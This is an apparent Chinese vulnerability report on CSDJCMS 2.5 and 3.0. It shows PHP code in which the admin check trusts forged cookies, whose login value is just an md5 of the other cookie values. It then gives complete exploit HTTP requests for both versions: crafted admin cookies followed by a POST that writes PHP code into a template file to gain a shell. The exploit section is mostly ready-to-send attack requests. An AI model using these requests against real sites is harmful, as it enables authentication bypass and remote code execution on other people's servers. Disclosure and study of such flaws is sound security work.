### 简要描述： CSDJCMS漏洞后台拿shell ### 详细说明： ``` include_once("include/install.php"); if(S_IsInstall==0){ header("Location:install/install.php"); } include_once("include/label.php"); if(S_Webmode==1 or !file_exists("index.html")){ //缓存区 $cache_id ='index_'; if(!($cache_opt->start($cache_id))){ echo GetTemp("index.html",0); $cache_opt->end(); } } else{ header("Location:index.html"); } //看他配置吧 function SafeRequest($key,$mode,$isfilter=''){ set_magic_quotes_runtime(0); $magic= get_magic_quotes_gpc(); switch ($mode){ case 'post': $value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : ''; break; case 'get': $value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : ''; break; default: $value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : ''; if($value==""){ $value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : ''; } break; } if($isfilter!=''){ $value=lib_replace_end_tag($value); } return $value; } //变量的提交进行了addslashes安全过滤 //研究了半天的源码发现后台的严重出现了大的安全问题 include "../include/conn.php"; include "../include/function.php"; include "admin_version.php"; include "admin_loginstate.php"; //问题出在这个文件当中 //跟入 if(empty($_COOKIE['S_AdminID'])){ //首先看是否存在s_adminid这个cooke echo ""; } elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){ //这里就是问题的关键之处了如果s_login 的值等于四个cookie 相加的md5加密，即可直接验证通过 echo ""; } //后台权限判断 function SystemPer($Column){ if(empty($_COOKIE['S_Permission'])){ die(""); }else{ $SystemPermission=explode(",",$_COOKIE['S_Permission']); //权限的判断，用“，”来分割成数组 $StateOK=0; $ArrSystemPermission=count($SystemPermission); for($k=0;$k<$ArrSystemPermission;$k++){ if($SystemPermission[$k]==$Column){ //判断 $StateOK=1; } } if($StateOK==0){ die(""); } } } //构造淫荡的cookies //S_Permission //1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 //S_Login //md5(AdminID+AdminUserName+AdminPassWord+S_Permission) //S_AdminUserName //1 //S_AdminPassWord //1 //S_AdminID //1 后台成功绕过。 //看看3.0版本，也是一样 [QQ:848769359] # Homepage:[url]http://www.chshcms.cn/[/url] $CS_Path=$_SERVER['PHP_SELF']; $CS_Pathall=explode("/",$CS_Path); $CS_Admin=$CS_Pathall[1]."/"; if(empty($_COOKIE['CS_AdminID'])){ echo ""; } elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){ echo ""; } //后台权限判断 function SystemPer($Column){ if(empty($_COOKIE['CS_Quanx'])){ die(""); exit(); }else{ $SystemPermission=explode(",",$_COOKIE['CS_Quanx']); $StateOK=0; $ArrSystemPermission=count($SystemPermission); for($k=0;$k<$ArrSystemPermission;$k++){ if($SystemPermission[$k]==$Column){ $StateOK=1; } } if($StateOK==0){ die(""); exit(); } } ``` ### 漏洞证明： exp V2.5 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.xxx.com/admin/admin_t ... ;file=artindex.html Cookie: S_Permission=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15; S_Login=d8d998f3eb371c2009acd8580c1821d0; S_AdminUserName=1; S_AdminPassWord=1; S_AdminID=1; CNZZDATA4170884=cnzz_eid%3D1098390420-1364934762-http%253A%252F%252Fwww.hshxs.com%26ntime%3D1364935608%26cnzz_a%3D19%26retime%3D1365111972892%26sin%3Dnone%26ltime%3D1365111972892%26rtime%3D0; bdshare_firstime=1365107576347; PHPSESSID=u6kd9d6f18fhfr9bi4if6agcj6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 169 FileName=cs-bottom.php&content=%3C%3Fphp+phpinfo+%3F%3E&folder=..%2Fskins%2Findex%2Fhtml%2F&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&Submit=%D0%DE%B8%C4%B5%B1%C7%B0%C4%A3%B0%E5 -------------------------------------------- exp V3.0： Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.xxx.com/admin/skins/s ... ;name=cs-bottom.php Cookie: CS_AdminID=1; CS_AdminUserName=1; CS_AdminPassWord=1; CS_Quanx=0_1,1_1,1_2,1_3,1_4,1_5,2_1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4; CS_Login=a3f5f5a662e8a36525f4794856e2d0a2; PHPSESSID=48ogo025b66lkat9jtc8aecub1; CNZZDATA3755283=cnzz_eid%3D1523253931-1364956519-http%253A%252F%252Fwww.djkao.com%26ntime%3D1364956519%26cnzz_a%3D1%26retime%3D1365129491148%26sin%3D%26ltime%3D1365129491148%26rtime%3D0; bdshare_firstime=1365129335963 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 57 name=cs-bottom.php&content=%3C%3Fphp+phpinfo%28%29+%3F%3E

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